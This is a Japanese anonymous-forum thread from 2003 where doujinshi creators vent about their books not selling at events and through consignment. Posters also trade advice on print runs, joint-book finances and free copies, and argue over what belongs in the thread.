買いに来てくれて嬉しい反面、今までさんざん売ってきたのに何で今頃…とちょっと複雑な気持ちになる。
さすがに再版する勇気はないけれど。

そしてその後、その本がオクで売られてるのを発見…なんだかなあ。
ピコの皆さん、自分の本を奥で見たことはありますか?
>748
ピコスレ行ってやったら?
ピコって程じゃないけど大手でもない当方、奥に出されたことがあります。
500円の本が5000円まで上がってました。
プロデビューした友達がデビュー前にゲスト参加してくれた本でした。
再販したらすごく売れるんだろうな…。やらないけど。
自分で自分の本出したら、案の定売れなかった。

それよりもアクセス数がほぼ皆無だったのが・゚・(ノД`)・゚・

ピコ手スレに帰ります。。。
ジャンルが隆盛だった時代に、小手のくせに4桁とか売ってたんだが、
斜陽になった時・落日になった時にごぼごぼシュピーンされてたなー。
(まぁ、その時はどのサクルも似たような状態ではあったけど)
しかもあまりの数&ファンがつくほど上手くないので、
カプ内において、一番人気のない回転寿司のネタと化してたよ……。

マターリな今、たまにシュピーンされては、最近知ってくれた人が落札していく模様。
こういうシュピーンはむしろ嬉しいかもしれない。
ジャンルが盛り上がってるときにはじめた友人、
今は落日ジャンルだし売れないんだろうなと思ってたら、部数伸びてる・・・
正直、ショック。どこにいても、なに書いても絶対客を掴んで離さない。
心の中で羨ましがる自分がすごくいやだ。
今度のジャンルでは合体とかとりたい。一緒にいたら楽しいし。
でも、横でそうやってこの人はまたお客さん掴んで行くんだろうなと思うと(泣
水臭いと思われるだろうなあ・・・。
お客さん、本当に私の本の悪いところ、教えてくれーーー・・・とか、思う。
>>753
買わなかった理由スレとか覗いてみたらどうだろう。
>753の友人、ジャンルハマった当時は上手いのに売り方がマズーだったのが、
最近になって売り方も(゚д゚)ウマーになりだしたのでは?
もしくは、チミの目にはわからない部分が上達したか。
隆盛→落日がどのくらい格差あるジャンルなのかにもよるだろうけど、
何かが変わらない限りは落日の売り上げが隆盛にはかなわない気がするんだが
初めてカプオンリーに出た。
やっぱり売れなかったよ…ショボン
今まで夢見過ぎていたことがよく分かりますた。
自スペの閑散具合とは違って両隣はどんどん売れてくんだよな…
オンリーだろうが決まった上手い所しか買わない人が
多いんだろうと思い知ったよ
某キャラにはまって別ジャンルながら一冊愛のみで作った。
当然自ジャンルじゃ全く売れず(ぴこなので)。
そのジャンルやってる友人に委託したが、はまりキャラが違うせいか
(彼女はA+B。私はC単体)やっぱり売れず。
ダメ元でキャラオンリーに委託したら、昼過ぎに完売。
そのジャンルはもう斜陽らしく、多分そのキャラオンリーも最初で最後…
きっとそのせいで、参加者は「買いモード」入ってたんじゃないかと思う。
もう二度とあんなことないだろな。
どうせダメだろと10部しか出さなかったのが悔やまれる…
いつも負け続けてると、弱気になるね。

>>753
才能の差は残酷だな。
759名無しさん@どーでもいいことだが。:03/02/13 10:46 ID:3M2775cR
age
つーか、思うんだけどさ
同人誌なんか、今のご時世にとってみりゃ、
とっくに斜陽メディアみたいなもんだろ?

これだけネットが普及すりゃ、ペーパーメディアが
衰退するのは当然だろ?
お前ら未だに脳内バブルが続いてるんですかね(p
>760
それは、

「カウンタ稼ぎまくりのオンライン大手だから、
取り巻きに進められるままイベント参加したら
全然売れないじゃねーかよゴルア!
同人誌って全然儲からないじゃん!騙された!」

という、あなたの「本の売れない悲しさ」ですね?
この間のイベントで本命カプがぜんぜん売れなかった。
セカンドカプはそれなりに出たのに…
本命が売れないのってすごく堪える。
・゚・(ノД`)・゚・
763>753:03/02/14 01:12 ID:7T9di2ro
自分海鮮だけど、友人はまさに753さんのお友達タイプだ。
どんなジャンルにどのタイミングで参入しても、固定ファンが必ずつく。
発行ペースなんか激遅いのに、固定客が離れない。
才能もあると思うけど、こういう人に限って、他人と自分を比べてない。素直に自分の描きたいものを描いている。

気持ちはわからんでもないが、創作より他人と自分の比較に気を取られていてはいかんと思う…難しいけど。
>760
しかしペーパーメディアには「保管・閲覧が容易」「相当長期間に渡って保存可能」と
いう利点がある。
webで作品を発表されたとしても、紙にプリントアウトしない限り――オンだろうがオフ
だろうが――、いつでもどこでも読む、ということはできない。

ttp://www.ntv.co.jp/FERC/research/20000723/r055.html
また、↑にもあるように、デジタルデータはどんなメディアでもそのうちに媒体が劣化
したり、読み出すハード自体の劣化・旧式化したりするので、適度にコピーしないと
読めなくなるもの。

それに、地方では光どころかADSLさえままならず、ISDNが実質上最速、なんてところ
もまだまだあるし

……と釣られてマジレスしてみた(w
>764
うわ、日本語が変…

×ハード自体の
○ハード自体が
766名無しさん@どーでもいいことだが。:03/02/14 21:16 ID:pkb/O5IV
764はいつでもどこでも同人誌を読むタイプ。
…電車内では控えようね。
>>764
ペーパーメディアでも、本の印刷方法や紙質・保管状態によっては
意外と劣化が早いぞ。

特に本に酸性紙なんか使ってたら、すぐ変色する上に、最後には
本自体ボロボロになるしな。
まぁ、同人誌自体にはあまり使われてないけど、商業誌の単行本
とかは、よく使ってるんだよな。

>766
何で?
素で疑問。
>768
たぶん764がペーパーメディアの利点として「いつでもどこでも読める」ことを挙げているからだと思われ。
ついでに言えば、768は同人誌といえばエロしか知らんらしい。
770764:03/02/15 00:07 ID:8LAwzLY7
>766
さすがに電車内ではそんなことやらないけど(ニガワラ
web媒体だと、読みたくなったときにはPCなりPDAの電源入れてブラウザ起動して…
というステップを経なければいけないけど、紙メディアの本だとその手間が省けるし。

>767
まぁ、どんな形態のメディアであっても、適切な保存法と適宜のコピーを行わないと
劣化して見ることができなくなるわけだし……中身にそれほどの価値があるかどうか
は別として(w

というわけで、これにて名無しに戻りまつ。
771名無しさん@どーでもいいことだが。:03/02/15 01:02 ID:97bNMmXB
>>769
何故「エロ」なの?
772769:03/02/15 03:33 ID:EoYypA3i
>768,771
「768は〜」ではなくて、「766は〜」だ。スマソ
しかもスレ違い。。。ツッテクルヨ。。。
行かせていただきます。
ですが、売れない悲しさとはちょっと違った微妙。

どうして無料配布のほうがはけないんですか?
どうして表紙フルカラー1000円のほうがはけるんですか?
ちなみに無料配布は、準備号として出した本でした。
当方小説書き。

本当に、何でだ……?
774名無しさん@どーでもいいことだが。:03/02/16 00:25 ID:pwRWW2Py
305 名前:花と名無しさん[sage] 投稿日:03/02/15 21:38 ID:???
同人大手なんて互いの在庫を1000部単位で盗みあうなんてザラ。
2ちゃんに名前が挙がっただけでも5〜6人居るんじゃないの>盗癖
私個人のイメージでは、無料配布=売れ残った在庫整理という印象が
強いです。安っぽく見えるというか、タダで配る程度のものなのかと。
なので、無料配布本は受け取らないし、受け取ったとしても
小説だったらまず読まない。
たとえ準備号であっても、10円でも100円でもいいから
値段はつけたほうがいいと思うなあ。
>>775
地域やジャンルにもよるけどな。

地域性に限って言えば、経験上
東京近辺だと、無料配付は多少遠慮されがち
関西近辺だと、無料配付は何の遠慮もなく持っていく
てトコかな
関西人は遠慮がないねw
無料配布本をコミケで配ったら、
他の本は完売したのに、残ってしまった。
(無料だからと多めに用意したので)
ですが、私が買い物に行ってる間(売る物は完売なので売り子も無し)に
机の上に置いていったら、全部なくなってました。
さっきまでは(買い物しない人は)ほとんど貰っていかなかったのに。

多分、何も買わないのに持っていくのは悪いと思うんだろうな。
ある種人間の本性が見えると思ったよ。
ええ話やん
遠慮か。失われつつある、日本人の美しさがイベントにはあるな〜
しかしそれも昨今、失われつつある。
スレ違いの呟きスマソ。
781名無しさん@どーでもいいことだが。:03/02/16 17:53 ID:QekVeHFf
関西人が進出してくると、その分野からは、日本の美意識が消えるんだよねー。
本日のオンリ頑張って作っていったコピーの新刊が、
いつもだったら30は軽くでるのに今日は17しかでなかった。
雨だから…
雨だからだと思っていいですか・゚・(ノД`)・゚・
781は頭悪いな…
漫画しか読んでないとそうなるのか
釣られるな…
本日のイベント既刊一冊しか売れなかったよ…
新刊なんてゼロ。仕事がすごく忙しい中がんばったんだけどな。
精一杯やってこれじゃあもう続けても仕方ないかも

ヘコんだ…
まぁ才能に基づく結果は残酷ですな。
786は釣りですか? と言いつつ
ここはそういうスレなので、こういう書き込みが見たくなければ去ってください。
とマジレスしておく。
マターリ。マターリ。
売れた1冊、大事にしてもらえるといいね。

   ○          (´・ω・`)      
     。 (´・ω・`)     ○   (´・ω・`) 。 O 
         ○  。
しょぼん玉dだ〜。  (´・ω・`)    ○ 。 
 ∧_∧    。 o ○                ○
 (*´・ω・)y━o          (´・ω・`)   ○  。  
 ( つ□ノ 
  し' し'

                      ______
                  /////////////\
                  ///////////// ″ \
                 .///////////// ″    \
                ///////////// ″      .\
                ///////////// ″         \
               .///////////// ″           \
              ///////////// ″              \
             ./////////////イ″                   l\

                  .\
                  ″ \             ♪やねまでとんだ〜
                 .″___  \
                ″ |.:::|    \                  ○   o
                ″  ~~       \                  ○
               .″ | ̄| ̄|      \                 o

              ″o |_|_| o       \             ○
     | ̄ ̄ ̄ ̄ ̄::.|″                   l     Σ(゜A゜; )
     |        :.|   | ̄ ̄| ̄ ̄|        |      (つ日 つ━O
     |      ロロ :.|   |    |    |        |      | | |
     |          ::.|   |__|__|        |      (__)_)
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄



                                       ___
                                   ///////\
                                   /////// ″ \
            ♪やねまでとんで〜         彡/////// ″    \
                                  /////// ″      .\
                               彡 /////// ″         \
       
   (; ゜A゜)ハァハァ
   .( つ  つ
   人  Y
 (( し (_)
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄




              ♪こわれてきえた〜            从"、;从
                                     (( ; ;"; :、))  ドカーソ
                                   ((; ;.;")) ); ;";) )
               アアン               ((; ;.;")) ); ;";) ) ;; .;))
     ⊂二´⌒ つ TAT)つ              ((; ;.;"((; .;"));.;")) ; ;.;")) )
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
だから千葉マリンスタジアムには屋根がないんだよ!!

http://ex2.2ch.net/test/read.cgi/base/1043300775/134-147
>788-790
私も16日の販売数で凹んでたんだけど、癒された…。
売れたい売れたい売れたい売れたい売れたい売れたい
あー、俺の本もっと売れねぇかなー。

とにかく売れたいYO!

もう売れたくて売れたくて気が狂いそうだ!!(゚∀゚)アヒャヒャヒャヒャヒャ
>>793
お…落ちけつ
3人で合同誌を出した。
大した数でもないので完売したと見込んで印刷代や売上を精算して
在庫はで参加イベント回数が一番多い漏れが預かることになった。
つまりは漏れが自腹切っておいて、出た売上はそのままもらうことに。
しかし2人ともその本をスペースに置いてくれない。
友人Aは「置くよ?」と言うが別ジャンルだし彼女の在庫も多いので「いいよ」と断ってる。
毎回「ごめんありがとう」と言ってくれて、ペーパーやサイトでは宣伝はしてくれてるし。
しかし友人Bは同ジャンルにも係らず、「置こうか?」の一言も言わない。
しかもこの前「まだあの本残ってるの?」と・・・。ツギノイベントデカンバイスルヨ。

「置いて」と言わない漏れも漏れだが、そうじゃなくて一言の気遣いが欲しいだけなんだよー!
「本が売れない悲しさ」ではなく「本を売ってくれない悲しさ」でした、スマソ。
>>795
言わなきゃダメだろう?
金銭が関わっている以上「気まずくなるから」「今後の事もあるので」では
済まないんじゃないかなー?

ウチが合同本(自分と相方の2人本)出した時、相方が色々取り仕切ってくれたんだけど
印刷代金等はその支払いが発生した時点でキッチリ折半。
付き合いは2年程だけど、支払いを請求されてもギクシャクはしなかったよー
つーか、本が出来上がってきているのに代金の請求されないのは
こちらとしても落ち着かないし、言うべき事を発言しないのは
逆に関係がこじれる元凶になると思うがなぁ〜

早く完売してペイできるように祈ってるよ、それとBとはあんまり付き合わない方がいいかもね^^;
合同誌は、難しいね…
友人と二人誌を出した時に、自分はジャンルが変わっていたので
友人が、「販売なら、まかせて」と言ってくれたので甘えることに。
印刷代は折半で前払い、半分売れた時点で一度売上の精算。
で、それから2年、残りの売上がどうなったか聞いてみた。
そのカップリングが、今はジャンルから無いからあれから売ってないとの事。
…いや、無いからこそ売り時なのでは?
一言いってくれれば、自分もネット通販とかしたのに…
とかなりモニョらせて頂きました。

同じく「本を売ってくれない悲しさ」でした。
>>796 いや、2人→3人になるだけで状況は大きく変わってくる。
それこそ2人の時とは比べ物にならない位・・・

とは言うものの>795は不運と言うか手際がよろしくないと言うか。
上手い事使われているだけ・・・に、思える
Bみたいな不精者は一時が万事そうだから
今後の付き合いはマジで考えた方が良さそうだな。
委託して貰った本が殆ど戻ってきた。
その先週も委託して頂いたがその時は完売したので、ちょっと夢を見すぎていたようだ。
ネット通販で捌くにしてもたかが知れている。
部数が多すぎたのか。でも確実に売れる部数なんて分からないよ。
とりあえず、これを教訓にしてもっと精進して自分を磨こう。
……前向きになんなきゃやっていられないよ、こんな趣味……。
>795
一瞬自分の事かと思った…(;´Д`)
3人誌を出して、その中では自分一人別ジャソル。
印刷代はもちろん折半したけれど、少しどんぶり勘定。
「ジャソル違うしいいよ」と言ってくれていて、あとの二人が
在庫を捌いてくれてありがたいのだが、つい自分もやるべき
ペーパーやサイトの宣伝といったものも忘れてしまい…
…あー、今からでも謝ってお礼を言おう。

しかし今度はその友人達とは別な所で6〜7人誌を出す予定。
しっかりしてる人ばかりだからもめる事はないと思うが、
幹事さん大変だろうな…前みたいな事にならないようにしないと。

気付けばスレ違いスマソ。
801795:03/02/18 21:51 ID:bd8zuu8q
>796-800
レスありがd。
Bはそれ以外に同人・非同人共にもにょる点があってフェードアウト中でつ。
外面と調子のいいやつなので言えば置いてくれるのだろうが、
言われるまではその方が得だし黙っていようという感じの人です。

愚痴りたかっただけのようです。在庫はもう捌けますし、ありがとうございました!
802名無しさん@どーでもいいことだが。:03/02/18 22:45 ID:qbrmlBTN
(^^)


803名無しさん@どーでもいいことだが。:03/02/19 01:54 ID:CWGhKyvn
女って心底「私の周りの嫌な人」の話が大好きだな。
>「私の周りの嫌な人」
女は自分の居場所にこだわるってよくいうけどね。
そのかわり男は「俺の敵(仮想含む)」話が好きじゃん(w
805名無しさん@どーでもいいことだが。:03/02/19 02:09 ID:mChadJDN
おまいら見苦しいぞ
男って心底「私の周りの痛い人」の話が大好きじゃん。
漏れは男だが「俺の敵」話も「私の周りの痛い人」の話もしねーし、
女だったら「私の周りの嫌な人」の話が好きだとも思わん。
性別で括るなよ。気分悪いな。
807に惚れそう(´Д`*)
ネクスト(゚Д゚≡゚Д゚)売れない悲しさ!!
2月は申込んだイベントがなくて、オンリーに参加する友人の売り子ばかりでつ!

>809
自分の本は売れない悲しさつーコトで…却下?
811名無しさん@どーでもいいことだが。:03/02/19 21:00 ID:uWfUaZlA
売れない予感の悲しさあげ。
私も785さんと同じで…1冊しか売れなかった。
何とも言えないね、この感じ。
同人止めようかとも思いつつ、大量の在庫を見渡す…
ああ、悪循環。
813名無しさん@どーでもいいことだが。:03/02/20 00:01 ID:PkKl6E/a
自虐的に、自分を曝しage…w

初めて都市に参加した時のこと。
ジャンル内でたった一人のCPで登場したため
( ゚Д゚)ポカーン&好奇の目に曝された上に売り上げゼロ。
初の混み毛では、9冊売れたものの
都市とは比べ物にならない冷ややかな嘲笑( ´,_ゝ`)
小説だから中身を見てもらえないとどうしようもないし
装丁にも力をいれてガンガってるけど…
切ないよ…
>813
疑問なんだけど、ジャンルは大きいジャンルなのかな?
漏れもカプに関してはどのジャンルでも似た様な状態だが(つまりはドマイナーロンリー)
そんなに淋しいめには合った事が無いような……。
ちなみに当方も小説でつ。

まあ、表紙は頼んで描いてもらってるから
中身見て小説と気付いてスルー、
時折「この人の漫画ありませんか?」などとも聞かれる
淋しさはあるけどね。
そこそこ賑わってる新ジャンルにはまった。
意気ヨウヨウとサクール参加してみたら、813同様オンリーワンCP。
前ジャンルでは壁or誕生日席常連だったのに、
今じゃコミケでもなきゃ新刊50冊も売れず。
ジャンル自体は流行ってるだけに、
目の前を次々と一般参加者が素通りしていくのは
かなりツライものがあります…。
ほんとに時々泣けてくる。
売れない原因を自分の力量不足のせいにはしたくなくて、
ついマイナーであることをいいわけにしてしまう。

 …でも、前ジャンルが所詮ジャンル人気ってやつだったんだよね…。

まだこのカプ好きだから頑張りたいけど、
新刊初売りでそれなりに印刷費が回収できないと、
次回の印刷費のことを考えてしまって、新刊作るのもためらわれます…。
新刊50も売れたことない(w
てか、10出たら小躍りします。
もう最初からその状態なので特につらいとも…
しかし印刷代は回収したいよね。確かに。
ウチはもうコピ本ばっかです。オンデマンド対応できるので。
別ジャンルでは300刷ってるけど、これも完売5年計画だからな〜
10出たら小躍りする状況は変わらん。
机の上が一杯になってきて、そういう意味でも
新刊作るのに勇気が…

817名無しさん@どーでもいいことだが。:03/02/20 21:15 ID:LQy7ht7C
集団の傾向を語る時に、必ず
>>807のごとく自分語りをする
ヤツが登場するのは何故?(藁
>>817
集団の傾向を自分語りするなんてスレ違いを
>>807が正論で終了にしてくれたのに、
817のような蒸し返し厨が登場するのは何故?(藁
819名無しさん@どーでもいいことだが。:03/02/20 22:42 ID:eZlfvf/v
このサイトの美少年がリロードなしで10000ヒットしたら脱ぐらしい。
おまいら協力おながいします。
http://members.tripod.co.jp/love8652/
>>818
オウム返し、カコワルイ。
オー、ウウ
822シノマニ:03/02/21 01:32 ID:M0v1rFpr
ノーマルカプで普段壱桁売上。
コミケで3冊という記録を作り、なきながらそのままグッコミに流れたら
なんと初の二桁記録。
よろこんだのも束の間、友達の売上をきくと虚しくなってくる…
印刷代なんてもちろん自腹。
でも「同人は趣味」を心に近々新刊をまた刷る…
お金問題より自分の能力のなさが辛いョ…!!(゚∀゚)ア‐ヒャヒャヒャヒャ

823813:03/02/21 02:47 ID:i/lzhi4Q
>814
うちはナマモノです。どう説明すれば良いかな…。
大きなジャンルじゃないけど、CPが固定されているんです。
グループ内で、とにかく絶対に受だとされている人を攻に、
CPに絡ませてもらえない人を受にしているのが原因かと…。
少しでも良い物を書いて、そのCPを好きな人を増やしたいです。
自分以外の書いた、MY受の愛されてる本が読みたいでつ(´・ω・`)
824sage:03/02/21 05:31 ID:94kPxbNl
一緒にサークルをやってた友人と離れ、
違うジャンルでそれぞれ活動していまつ、
友人は人気ジャンルへ、私は最盛期の過ぎたマターリジャンルへ。
一緒だった頃は個人誌でも売上は同じ位だったのに今ではウチは10分の1以下に
友人は10倍、同人で食っていけるまでに跳ね上がりました‥
印刷代の回収が殆ど出来ず次を作る愛はあるのに現実面厳しいカンジ。
ジャンルのせいもあるだろうが何か空しい‥
長くてスマソ‥
今更sage間違い、
連続スマソ‥
813がとても他人事とは思えない…
何年ぶりかに箱息子読んだ


なんじゃありゃーーーーーーーー
いつから特定サークル宣伝誌になったんだ!!って印象を持った。
あんな風に祭り上げられてたら、そりゃ読んでる子達欲しくなって買いに逝っちゃうよなあ…
漫画載ってるサークルだけでも全部買ってたら少ないバイト代だし、島中まで来ないよなあ…
今の女性向同人誌界ってあんなになっていたんだ…毎回一応流行ジャンルでコミケ参加してるが知らなんだ。
部数伸ばす為には、そういう雑誌購読して売れ線というものの研究しないと駄目だなとおもた

827 スレ違いぽ⌒Y⌒Y⌒(。A。)
自分の本が売れてない悲しさなんだが、駄目?
箱息子ネタは別スレにあるでしょが?

委託で売れる売れないを実感するのは月イチがいいとこ。
ここのメインはイベントに実際参加してその場で「売れない加減」を
実感したってスレだべ?? 拡大解釈にも程があるよ…
じゃあ次から1にイベント直接参加限定って入れといてくれよ
そんなに拗ねるなよ(´ー`)
過去にも書店委託や通販分がちっとも売れない(´・ω・`)ショボーンな書き込みはあったのだから
830みたいな書き方は(・A・)イクナイ!!
827の書き方だと、箱息子批判に見えちゃう。
自分はそのラインからこう離れてるから売れないんだなーと思ったけど
あれ見て練習するのもヘンな話だし。でも売れないなんてショボーン
っていうのが前に出てれば売れない悲しさに見える。
書き方書き方。内容は別にいいんじゃないかなー
でもここの>>1がいまひとつ説明不足で荒れやスレ違いを招くのは確かだ。
そろそろ900間近だし、>>644を参考に、次スレのテンプレを考察する時期かも。
>834に同意。
売れないことに対する嘆きより箱への感想の方が強く感じられるから
827はスレ違いとは言わないけど箱スレ向きの内容だと思う。
>827
>漫画載ってるサークルだけでも全部買ってたら少ないバイト代だし、島中まで来ないよなあ…

そんなこたぁない。
箱載ったらそれなりに読者は増える。
…というか、もしやあれに載ってるのは全部壁や誕生席だと思ってるのか?
島中サクールだっていっぱい載ってるぞ。
838名無しさん@どーでもいいことだが。:03/02/22 23:03 ID:rFY4xf1+
意味不明
>837
つーか、
>いつから特定サークル宣伝誌になったんだ!!って印象を持った。

って発言から「常連掲載サークルが名指しで記憶できるくらい」、
毎回読んでるというのがわかる。本当に「何年ぶりに読んだ」わけではない。
それに、常連で載るサークルなら、入れ替わりがあるにしろ
格ゲーバブルのころからずっとある。
>827の言ってる事は、どこもちぐはぐでおかしい。

                                   たぶん僻(スレ違いなので略。)
もういいだろ。なんつーか…春だな。
しょーもない絡みするデムパほんとに多くなったな…
風紀厨の方がマシだ
842813:03/02/23 01:12 ID:OW502chF
再び自虐的に軌道修正…。

売れない悲しさ。
オフで刷れないこと。
毎回、新刊を出してるから在庫はあんまり抱えたくないし、
発行は1種30冊が限界。
セットだと50冊から刷ってくれるところもあるけど
単価を高くするよりは、凝ったコピ本にしてしまう…。
一度でいいからオフで刷ってみたいよ〜〜〜
843名無しさん@どーでもいいことだが。:03/02/23 01:21 ID:PTr4830A
30も50も100も印刷代変わらんだろ…。
>843
コピ本30部とオフ本50部だと全然印刷代が違うと思うが。
いちゃもんつけるなら、ちゃんと読んでからにしてやれ。
845名無しさん@どーでもいいことだが。:03/02/23 03:07 ID:PTr4830A
いちゃもん?
はぁ?
846842:03/02/23 03:15 ID:26Q8HhXU
印刷代はほとんど変わらないから、逆に単価が高くなる。
高くしたくないから、せめて凝ったコピ本に、って事でつ。
50も100も刷っても捌けないので。
私、なにか変なこと書いちゃったのかな…?
>842=846
大丈夫、あんたの言ってることは変じゃないよ。
たんに>843=845が日本語を理解できないだけ。
3人でケンカしている…
842はしてないと思われw
850名無しさん@どーでもいいことだが。:03/02/24 01:55 ID:MLGzK7ta
847が必死。
あ、上げてしまった。まぁいいか。
まあ843が的外れなのも確かだが、とりあえずスレ違いだな。
スレ違いかなあ? ピコならではの話題な気がするが。

はける部数が部数だから安そうな装丁のオフ本つくるよりは凝ったコピ本になっちゃうっていうのも、
オフで30でも50でも100でもどのみちピコなら自分が赤字被るわけだし
その程度の部数の違いなら自分の被る赤字の額も変わらないだろっていうのも。
つーか、ここピコスレじゃないし。
>854
本が売れない=ピコが多い 
ではないのか?
次スレのタイトル「思ったよりも本が売れない悲しさ」にしない?
>>855
ここは、

>ピコ〜大手まで。
>思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

というテーマのスレッドです。極端に言うと、5000部刷って3000部売れたけど、
残り2000部がどうしても捌けにない人も該当するスレです。


いっそタイトルから変更した方がいいのかもね。
【ピコ〜】売上不審の悲しさ【〜大手】

とかどうか。
おいおい不審でどーするよ、不振っしょ?
(´ω`)ゴメ
このスレだけでも過去に何度も訂正が入りつつも、いまだにピコスレだと勘違いするヤシが
後を絶たないってのは、スレの趣旨が原因なんじゃないの。
10,000部作って9,500部捌けて500部売れ残ってるヤシと、50部作って30部売れ残るヤシが
同じスレで語るってのは、やっぱり微妙に無理がある気がする。
>>861
「売れない事の愚痴吐き」にアドバイスしようとする人がいるのが
問題なだけだと思うんだけど。
待てよ……

勘違いが多い事に配慮せず、
突っ込まれかねない書き方する人も問題ありかな、そういえば。
864名無しさん@どーでもいいことだが。:03/02/24 16:27 ID:LXqlKQPd
待てよ……

電車に痴漢が多い事に配慮せず、
思わず手が出そうになるルックスで電車に乗る人にも問題ありかな、そういえば。

>10,000部作って9,500部捌けて500部売れ残ってるヤシ
こんなヤシにアドバイスする奴なんかそうそう居るまい。
むしろ、その500部売れなくって本気で困っているか一辺聞いてみたい。
ピコの愚痴は返事が手軽なので言うんだろうな。
>365
このスレに書き込むのに困ってる必要なんてあるのか?
3行目が激しく意味不明。
867&rlo;:03/02/24 17:31 ID:HO/rKjah
ここでスレ違いですよと注意を受ける人の大半が、
ただの「愚痴吐きスレ」であるこのスレを、
「売上不振悩み相談スレ」と誤解してるんだよなぁ……
前回は2種各2000刷って1回のイベントで完売した。
冬祭りには3種各2000部刷った。
各700くらい残っている。
ジャンルのせいか、自分のせいかは分からないが
ダンボールの山は部屋を圧迫する…
通販ではける事を祈るばかり。
>>861
‥確かに。
842と868を一緒かって言ったら同スレだけどそうじゃ無いよな〜
どっちかにあわせるか、としたら868方面なんじゃないかと。
ピコスレは別にあるんだし。
なのになぜかこのスレはピコスレと同一視したがる人が多いんだよなー
単に住人がかぶってて、スレタイトル読まないで直前の流れだけで
発言してるんだろうとは思うけどさ。
某地方に委託参加したら
10数年の同人人生で初めて
売り上げゼロを記録したよ…

これからもっと頑張るッス
>>871
つかそれ、才能の枯渇。
筆を折るいい潮時だと思うよ。
いつも出ているイベントでゼロならともかく
初めて(しかも委託)なら筆を折るほどのことでもない
がんがれ
>865
いや、10000部刷ってようが困るだろ、500も残れば。。。
どこに置いてどう処分するんだよ?

そりゃ600刷って500残る方が哀しみは倍加するとは思うが。
地方は本売れないからな。グッズばっかり。

…信じて便箋いっぱい持ってったのに…。
本のほうが売れたよ!ほぼ完売だったよ!それはいい。
なぜみんなシリアス本をスルーするのだ。
ギャグ本がシリアス本より何倍売れたとか言えないよ。
シリアス本0冊だよ。何倍したって0だよ。(゚∀゚)アヒャ!
冬コミに刷った分の余部しかまだはけない…。なくなるのかな、この本。悲しい。
ついでに上記の便箋も0つでした。グッズ向きではないと分かっていつつ、ヘコ
>871
地方はだめだー。
関東進出して5年たち、そこそこ売れるようになったから
少しは売れるようになったろうと
去年の秋に故郷のイベントに参加したら

売 上 2 冊 で す た 。

二度と戻らないと誓った秋・・・・
書店委託でも、イベントでも、知人と出した合同誌だけがさばけない。
うーむ、困った。やっぱり部数減らすべきだったなあ。
合同誌になった部分はそれぞれの本として再版しますよね? と言われて辛い。
いや、あの……セットではだめですか。そうですか。
もしも知人に真面目に売ってないせいだと思われたら辛いな。
そんなことないんだよ〜。ちゃんとやってるんだよ。
気長に売るしかないんだけど、合同誌ってのが辛いよう。
>875
>シリアス本0冊だよ。何倍したって0だよ。(゚∀゚)アヒャ!
ワロタ

地元でモゾモゾしてた頃、便せん厨として本・便せん共に一度で50部くらい売ってたんだけど、
東京に初めて逝った時、本も便せんも5部くらいしか売れない有様で打ちのめされますた。
その後何かとがんがって本作り、部数も一度で200程度売れるようになり、
最近久々に地元で便せん出したら、こんどはそっちが5部くらいしか売れなかたよ。
そしてギャグ本はそこそこ売れたがシリアスは2部とかそんな感じですた。アヒャーリ

ちなみに1月のインテだが(w
インテだけは地方イベントの中で唯一本の出るイベントだと信じていたのに……
>877
私も経験あります。なんでだろうか。
まさに今合同誌だけが残ってる状態・・・。
書店でもいつもは売れてるの? なら、書店で売れないってことは表紙がマズーとか?
私の方は実力差があるのか、知名度か、ジャンルか、
とにかく私のせいだろうなあと落ち込み中。

>878
インテは出るところと出ないとこの差が本当にきついです〜
出る人は出るんだけどね。ううう。
>878
1月のインテは漏れも普段の半分くらいしか出なかった。
ネット通販してるんだけど、イベント直前に問い合わせメールくれた人の
ために1部だけ取り置きしておいて、後はその後のイベントで完売。(元々
残部数が少なかった)
いつ頃通販申し込み来るかな〜と、待ってて1ヶ月…申し込み来てません。
別に申し込みは強制じゃない(当たり前)けど、この残った1部、どうしよう…。
サイトには完売表記しちゃったし、イベントは事情でしばらく参加できないし、
友人にあげようにも、その後申し込み来ちゃったら申し訳ないし。
またサイトで通販受付再開しようかな ・゚・(ノД`)・゚・センチャク1メイサマー
882&rlo;:03/02/26 12:43 ID:hAD6Rx9I
>>881
期日を定めて、
期日までに申し込みがなかった場合は他の方に販売します。
と本人にメールすれば?
たった1部を売るために通販再開するの?
万が一申し込みがだぶること考えたら、次のイベントに持ち込む方がいいと思うけど…
あと、自分が問い合わせた立場なら、わざわざメールはいらん。
ほしけりゃレスがあった時点で動いてるから。
通販再開するほどじゃないし、イベント参加までおいておけば?
その間に申し込みがあれば売ればいいしさ。
今後のために、『期限内に振り込みがなかったら
取り置きは取り消します』と添えたがいいよ。
1部くらいとっておけばいいじゃん…
っていうか、完売しても数冊は途って置いた方が良くない?
3ヶ月前に通販した人から、届いてませんって連絡来るかもしれないし
イベントで買った人から、乱丁だから取り替えてくれって言われるかもしらん。
売れたいなあ。くすん。
正直言って売れたいに決まってるじゃないかよう。
しくしく。
まあ売れたかったらまず原稿せんとな……
本が売れない哀しさ。
ピコなのに何を思ったか200刷った本。1年経ってようやく80売れた…。
残り120。あと何年この本と付き合うことになるのか。
100にしておけば今ごろ残部小なのにと哀しくなった週末の午後。
がんがります・゚・(ノД`)・゚・
>886
たしかに原稿描かんことには売れる売れない以前の話だからな。
ありがとう、いい叱咤になったよ。
若かりし頃の失敗。
800冊刷った。5冊売れた。残り捨てた。
はー、切ない思い出よのう。なに考えてたんだろ、自分。
今でも教訓として一冊とってあります。
今は適度な部数に落ち着きました。
あれから10年、とりあえず目標クリア。
この線を越えたいと奮闘中。

でも、今思い出してもあの時の思い出はイタイ。
捨てるって、どうやって捨ててます?みなさん
同人海鮮歴だけは長大で、もういい年になってから書き手デビューしたんですが、
なんというか自分の程というものを我ながらよく知ってまして。
大手の知人しかいない海鮮友達たちが
「きっと4〜500部いけるよー」
